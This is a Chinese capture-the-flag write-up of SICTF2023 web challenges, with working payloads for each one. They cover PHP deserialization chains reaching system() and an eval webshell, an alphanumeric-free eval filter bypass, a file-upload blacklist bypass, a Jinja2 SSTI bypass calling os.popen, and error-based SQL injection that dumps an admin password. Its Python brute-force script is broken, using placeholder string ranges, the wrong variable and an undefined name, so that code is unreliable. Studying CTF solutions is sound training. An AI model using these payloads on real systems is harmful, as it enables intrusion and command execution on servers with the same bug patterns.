兔年大吉

源码如下

<?php
highlight_file(__FILE__);
error_reporting(0); class Happy{
private $cmd;
private $content; public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
} public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
} public function __wakeup()
{
die("Wishes can be fulfilled");
}
} class Nevv{
private $happiness; public function __invoke()
{
return $this->happiness->check();
} } class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
} class Year{
public $key;
public $rabbit; public function __construct($key)
{
$this->key = $key;
} public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
} public function __get($name)
{
$name = $this->rabbit;
$name();
} public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
} if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>

挺基础的一个反序列化,先找pop链:

Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call
简单写一下代码:
<?php

class Happy{
private $cmd;
private $content; public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
} class Nevv{
private $happiness;
public function __construct($tmp)
{
$this->happiness = $tmp;
}
} class Rabbit{
private $aspiration;
public function __construct($tmp)
{
$this->aspiration = $tmp;
} } class Year{
public $key = "happy new year";
public $rabbit;
}
$year = new Year;
$year2 = new Year;
$rabbit = new rabbit($year2);
$year->rabbit = $rabbit;
$happy = new Happy("system", "ls");
$nevv = new Nevv($happy);
$year2->rabbit = $nevv;
echo urlencode(serialize($year));
?>

直接打就行了

ezbypass

源码如下:

<?php
error_reporting(0);
highlight_file(__FILE__); if (isset($_POST['code'])) {
$code = $_POST['code'];
if (strlen($code) <= 105){
if (is_string($code)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
eval($code);
} else {
echo "Hacked!";
}
} else {
echo "You need to pass in a string";
}
} else {
echo "long?";
}
}

可以看到该过滤的都过滤了,而且payload长度限制了105,这样我们可以想到利用php的自增特性来构造攻击代码

code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*

这里解释一下,(_/_) 的输出为NaN,再拼接一个_就可以名正言顺的成为一个字符串,然后我们就可以取"N"通过++来构造出POST

其实这段payload还可以更短,有兴趣的读者可以自行研究 ,最终我们得到的是$_POST[_]($_POST[__]),这样就可以命令执行了。

ezupload
源码如下:
<?php
@error_reporting(0);
date_default_timezone_set('America/Los_Angeles');
highlight_file(__FILE__);
if (isset($_POST['submit'])){
$file_name = trim($_FILES['upload_file']['name']);
$black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); if (!in_array($file_ext, $black)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext; if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}else {
$msg = '你传啥玩意??';
}
}
if($is_upload){
echo '呀,(传)进去了欸~';
}
?>

纸老虎,.php都没限制,就是date加随机数改了个文件名,我们可以在本地搭个一样的来得到文件名,然后往后爆破就能得到上传路径的文件了

这里注意手速一定要快,要不然要多爆破好久,检验代码如下:

import requests

url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'

for i in range('本地文件名', '比本地文件名大就行'):
urls = url + str(i) + ".php"
r = requests.get(url)
if r.status_code == 404:
continue
else:
print(q)

得到文件后,就是常规的getshell了。

SSTI

看页面源代码得到参数?SI,试了下{{1}},报违规字符了,说明{{是被限制了,我们利用{%print %}来绕过这个限制,这题很明显在考一系列的限制过滤

把关键的类都限制了,__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制,后面的我不想测试,所以都写成这个样子,payload如下:

?SI={%print config['__cla''ss__']['__in''it__']['__glo''bals__']['os']['po''pen']('cat /g*').read()%}

还是挺简单的

ezphp

开局一个登录界面,加个单引号,直接有报错,很明显报错注入,中途的测试过程我就省略了,直接上最后的payload:

admin'/**/and/**/updatexml(1,(concat(0x7e,(selselectect/**/group_concat(Password)/**/from/**/admin),0x7e)),1)#

账号密码admin:0909876qwe222

我们登录进去,随便输点东西,得到源代码:

<?php
ini_set('open_basedir',".");
error_reporting(E_ALL^E_NOTICE^E_WARNING);
session_start();
if($_COOKIE['admin']!=md5('adminyyds')){
header('Location:/index.php');
exit();
}
echo('<h1>WelCome!ADMin!!!</h1>');
echo('this is a site test pages for admin! ');
if(isset($_POST['url'])){
echo file_get_contents($_POST['url']);
show_source(__FILE__);
}
else{
echo('<form action="/admin.php" method="POST">
url:<input value="" name="url" type="text">
</form>
');
}
//x9sd.php
?>

可以读文件,下面还给了hint

url=file:///var/www/html/x9sd.php
class a {
protected $cmd;
function __destruct()
{ echo $this->cmd;
@eval($this->cmd); }
} if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}

有是一个反序列化,这个直接就是a了,都不用找链:

<?php
class a {
protected $cmd;
function __construct($tmp)
{
$this->cmd = $tmp;
} } if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}
$a = new a('eval($_POST[1]);');
echo base64_encode(serialize($a));
?>

这样就getshell了

总结

web题不错,适合我这种新手做,这里抨击下ezmisc出题人,以后别这么出了。

SICTF2023 web_wp的更多相关文章

  1. 鹏城杯 WEB_WP

    简单的PHP GET /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%9A%91%9B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A ...

随机推荐

  1. 十五、资源控制之Deployment

    资源控制器之Deployment Deployment 为 Pod 和 ReplicaSet 提供了一个声明式定义(declarative)方法,用来替代以前的ReplicationControlle ...

  2. 加速乐逆向 cookies 参数

    简介 加速乐用于解决网站访问速度过慢及网站反黑客问题. 爬取使用该技术网站时需要携带特定的cookies参数(有的是__jsl_clearance_s,有的__jsl_clearance),本项目以一 ...

  3. Archlinux安装Picgo配置Typora

    Typora堪称为markdown界的老大哥,其大名我们多有耳闻,所见即所的就是他的特点.但是在日常使用中,也经常会碰到一些特别的需求,比如:希望图片能够上传到云端. 怎么将markdown即时粘贴的 ...

  4. 记一次HTTPClient模拟登录获取Cookie的开发历程

    记一次HTTPClient模拟登录获取Cookie的开发历程 环境: ​ springboot : 2.7 ​ jdk: 1.8 ​ httpClient : 4.5.13 设计方案 ​ 通过新建一个 ...

  5. 使用 Spring Cloud LoadBalancer 实现客户端负载均衡

    使用 Spring Cloud LoadBalancer 实现客户端负载均衡 作者:Grey 原文地址: 博客园:使用 Spring Cloud LoadBalancer 实现客户端负载均衡 CSDN ...

  6. 如何查看mysql数据目录位置

    mysql> show global variables like "%datadir%"; +---------------+-----------------+ | Va ...

  7. 2022-11-14 Acwing每日一题

    本系列所有题目均为Acwing课的内容,发表博客既是为了学习总结,加深自己的印象,同时也是为了以后回过头来看时,不会感叹虚度光阴罢了,因此如果出现错误,欢迎大家能够指出错误,我会认真改正的.同时也希望 ...

  8. php变量规范命名用了记得消除,保证唯一性

    PHP中的命名规则 类的命名  在为类(class )命名前首先要知道它是什么.如果通过类名的提供的线索,还是想不起这个类是什么的话,那么就说明设计存在问题. 超过三个词组成的混合名是容易造成系统各个 ...

  9. 01-Docker实战,搭建NodeJs环境

    目的 实现简单的docker的nodejs容器,使用Dockerfile构建我们的使用nodejs开发的系统 技术栈 Docker Nodejs Express Linux step1 下拉nodej ...

  10. python小练习:涉及print,json,numpy

    枚举参考文件夹中的文件,并与待比较文件件中的同名文件比较是否一致. #! /usr/bin/python3.6 # -*- coding:utf-8 -*- import os import sys ...